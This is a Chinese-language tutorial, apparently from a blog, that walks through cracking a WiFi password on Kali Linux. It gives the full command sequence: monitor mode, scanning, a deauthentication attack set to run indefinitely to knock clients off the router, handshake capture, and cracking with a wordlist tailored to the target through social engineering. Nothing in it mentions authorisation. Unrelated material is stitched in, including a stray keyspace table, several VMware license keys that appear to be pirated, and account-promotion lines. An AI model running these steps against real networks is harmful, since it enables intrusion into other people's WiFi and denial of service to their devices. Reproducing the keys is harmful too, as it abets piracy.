量子哈希字符集 密码位数 密码可能性
[0-9] 8位 10^8=100000000
[0-9][a-z] 8位 36^8=2821109907456
[0-9][a-z] 1-8位 .............................
【Linux250个常用命令速查手册】关注【入门小站】，后台回复「1001」自取。前言 暴力破解攻击是指攻击者通过系统地组合所有可能性（例如登录时用到的账户名、密码），尝试所有的可能性破解用户的账户名、密码等敏感信息。本文我们采用最原始的暴力破解方式，演示如何破解 WiFi 密码。
但是高达几千亿的密码种类，这样的方法显然不现实，所以出现了字典破解的方式。字典破解就是通过比较合理的条件，筛选或者过滤掉一些全字符组合的内容，大幅降低爆破的成本。字典有很多种，比如Web网站密码字典、[WiFi密码字典]、操作系统用户密码字典、数据库密码字典、子域名字典、默认账号密码字典、弱口令字典、社工字典等等。针对我们要破解的WiFi密码，WiFi密码字典和社工字典是最好的选择。WiFi密码字典，顾名思义就是存放大量WiFi密码的字典。但是WiFi密码字典没有针对目标本身进行生成，具有普遍性，从而导致无法精准打击目标。而社工字典，是通过我们输入攻击目标的一些关键信息，经过社会工程学的分析，可以针对该目标生成定制化的字典。假如我对目标的已知信息如下，通过计算，得到社工字典
VMware 16密钥
ZF3R0-FHED2-M80TY-8QYGC-NPKYF
YF390-0HF8P-M81RQ-2DXQE-M2UT6
ZF71R-DMX85-08DQY-8YMNC-PPHV8
推荐字典下载链接: 或者在github搜索：字典、dict、wordlist之类的关键词，有许多字典可以下载。字典虽多，但由于破解方式的局限性，无法保证随便找的一个字典就可以破解任意WiFi。最好的办法是社工 + 弱口令。将社工字典和自己收集的弱口令进行随机排列组合，扩大命中率。拥有社工字典之后，我们开始准备暴力破解需要的工具1.VMware pro16 虚拟机2.kali-linux 2022 操作系统（搭载在虚拟机中）3.kali 监听无限网卡
二、准备破解工具1.VMware Pro 16 虚拟机安装百度网盘下载链接: 提取码：rhy2
安装操作省略VMware安装Kali Linux官网下载链接：Kali Linux安装教程:kali 监听无限网卡直接在某宝或某多多搜索：kali 监听无限网卡黑客入门必备的工具，非常好用，感兴趣的朋友可以入手
ifconfig
ifconfig
三、WiFi密码暴力破解虚拟机连接USB网卡首先进入kali系统打开命令行窗口，查看网卡信息插入准备好的kali网卡，选择连接到虚拟机，选择kali再次检查网卡信息
airmon-ng start wlan0
ifconfig
airodump-ng wlan0mon
出现wlan0后证明检测到无限网卡启动网卡，开启网卡监听再次检查网卡出现wlan0mon后证明网卡监听服务准备就绪扫描附近WiFi使用airodump-ng命令列出无线网卡扫描到的WiFi热点详细信息，包括信号强度，加密类型，信道等。这里我们记下要破解WiFi的BSSID和信道，下图中我用蓝色标记。当搜索到我们想要破解的WiFi热点时可以Ctrl+C停止搜索。这里我们破解MERCURY_72C0的网络密码可以看到，该网络的物理地址为1A:2B:3C:4D:5E:6F，当前信道为11注：安全起见，此处物理地址仅供参考编造地址为1A:2B:3C:4D:5E:6F
airodump-ng --bssid 1A:2B:3C:4D:5E:6F -c 11 -w /home wlan0mon
注：airodump-ng 列出网络详细信息
-c 指定信道，上面已经标记目标网络的信道
-bssid指定目标路由器的BSSID
-w指定抓取的数据包保存的目录
aireplay-ng -0 0 -a 1A:2B:3C:4D:5E:6F -c 12:34:5H:7K:1E:9F wlan0mon
注： -0 冲突攻击模式，使客户端断开和路由器的连接
0 攻击的次数，设置为0代表无限攻击，导致客户端一直无法连接路由器
-a 路由器的MAC地址
-c 连接设备的MAC地址
查看目标WiFi连接设备可以看到，目的网络下出现了三台已经连接的设备我们选择第一台设备物理地址为12:34:5H:7K:1E:9F切勿停止该进程抓包新建一个命令行窗口输入命令
aircrack-ng -w /home/kali/Desktop/password.txt /home-10.cap
注：password.txt 社工字典
home-10.cap 抓包文件
抓取包含WiFi密码的ACK握手包Ctrl+C退出抓包返回上个命令行窗口，可以看到第三行，创建文件/home-10.cap已经获得数据包文件在目录下找到数据包文件破解
airmon-ng stop wlan0mon
key found[**]找到密码关闭wlan网卡上面演示的暴力破解WiFi密码说白了就是穷举法，将密码字典中每一个密码依次去与握手包中的密码进行匹配，直到匹配成功。所以能否成功破解wifi密码取决于密码字典本身是否包含了这个密码。破解的时间取决于CPU的运算速度以及密码本身的复杂程度。如果WiFi密码设得足够复杂，即使有一个非常完美的密码字典，要想破解成功花上几周几个月甚至更久都是有可能的。【Linux250个常用命令速查手册】关注【入门小站】，后台回复「1001」自取。
